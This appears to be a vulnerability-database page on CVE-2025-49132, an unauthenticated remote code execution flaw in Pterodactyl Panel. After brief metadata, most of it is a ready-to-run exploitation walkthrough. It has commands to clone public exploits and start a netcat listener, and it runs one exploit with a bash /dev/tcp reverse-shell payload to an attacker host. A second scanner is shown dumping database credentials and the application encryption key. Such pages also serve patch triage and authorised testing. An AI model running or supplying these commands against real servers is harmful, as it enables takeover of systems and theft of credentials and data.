# CVE-2025-49132 - Pterodactyl

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-49132
- **CVE:** CVE-2025-49132
- **GHSA:** GHSA-24wv-6c99-f843
- **CVSS score:** 10
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- **Type:** CWE-94
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** <= 1.11.10
- **Patched versions:** 1.11.11
- **Published:** 2026-02-22
- **Updated:** 2026-02-26

CVE-2025-49132 is a critical remote code execution bug in the **Pterodactyl Panel** (open-source game server management panel) that lets an **unauthenticated attacker run arbitrary code on the server** via a crafted request to the `/locales/locale.json` endpoint, which can lead to **full server compromise**, including stealing panel credentials/config secrets, dumping the database, and accessing files for servers managed by the panel.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Unauthorised RCE

**[YoyoChaud/CVE-2025-49132](https://github.com/YoyoChaud/CVE-2025-49132)** - Exploit for Pterodactyl Panel - unauthenticated LFI to RCE.

First start your reverse shell listener

```bash
nc -lvnp $LPORT
# listening on $LPORT ...
```

Then run the exploit

```bash
git clone https://github.com/YoyoChaud/CVE-2025-49132.git
cd CVE-2025-49132

python3 -m venv .venv
source .venv/bin/activate
pip3 install requests

python3 exploit.py http://$TARGET --rce-cmd "/bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
#
#   ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
#  / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
# | (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
#  \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|
#
#   Pterodactyl Panel - Unauthenticated Exploit
#   Targets: <= 1.11.10 | Patched: 1.11.11
#   Exploit By YoyoChaud
#
#
# ════════════════════════════════════════════════════════════
#   VULNERABILITY CHECK
# ════════════════════════════════════════════════════════════
#   [*] Target: http://$TARGET
#   [+] Endpoint accessible without hash parameter
#   [+] TARGET IS VULNERABLE
#
# ════════════════════════════════════════════════════════════
#   RCE (pearcmd) — /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
# ════════════════════════════════════════════════════════════
#   [+] Output:
# (connection held — check your listener)
```

In case the exploit fails and you know the direct path the the PHP pear executable specify it like:

```bash
python3 exploit.py http://$TARGET --rce-cmd "/bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" --pear-dir /usr/share/php/PEAR
```

#### Unauthorised Config Reading

**[melonlonmeo/CVE-2025-49132](https://github.com/melonlonmeo/CVE-2025-49132)** - Poc - CVE-2025-49132

```bash
git clone https://github.com/melonlonmeo/CVE-2025-49132.git
cd CVE-2025-49132

python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements-standalone.txt

python3 standalone_scanner.py scan http://$TARGET
#
#     ╔══════════════════════════════════════════════════════════════╗
#     ║                                                              ║
#     ║     █████  ████   ████████ ██   ██ ██    ██ ███    ██        ║
#     ║    ██   ██ ██   ██    ██    ██ ██  ██    ██ ████   ██        ║
#     ║    ███████ ██████     ██     ███   ██    ██ ██ ██  ██        ║
#     ║    ██   ██ ██   ██    ██    ██ ██  ██    ██ ██  ██ ██        ║
#     ║    ██   ██ ██   ██    ██   ██   ██  ██████  ██   ████        ║
#     ║                                                              ║
#     ║           Standalone Scanner - CVE-2025-49132                ║
#     ║                                                              ║
#     ╚══════════════════════════════════════════════════════════════╝
#     
#   [ANT_VN] Scanning: http://$TARGET
#   [ANT_VN] Time: 2026-02-07 21:33:49
# ------------------------------------------------------------
# [ANT_VN] VULNERABLE - Database credentials found!
# [ANT_VN] Database Info:
#    Host: 127.0.0.1
#    Port: 3306
#    Database: panel
#    Username: pterodactyl
#    Password: SecretPassword
#    Connection String: pterodactyl:SecretPassword@127.0.0.1:3306/panel
# [ANT_VN] VULNERABLE - App configuration found!
# [ANT_VN] App Config:
#    App Key: base64{C39dq3jpoHd}+syFHl5E1c8qyz/exqdmeKRBIq/h0goA=
#    Cipher: AES-256-CBC
#    Debug: 
#    Environment: production
#    App Name: Pterodactyl
#    App URL: http://$TARGET
#    Timezone: UTC
#    Locale: en
# [ANT_VN] SECURITY WARNING: APP_KEY exposed!
#    This key is used for encryption/decryption
#    Can be used to decrypt sensitive data
```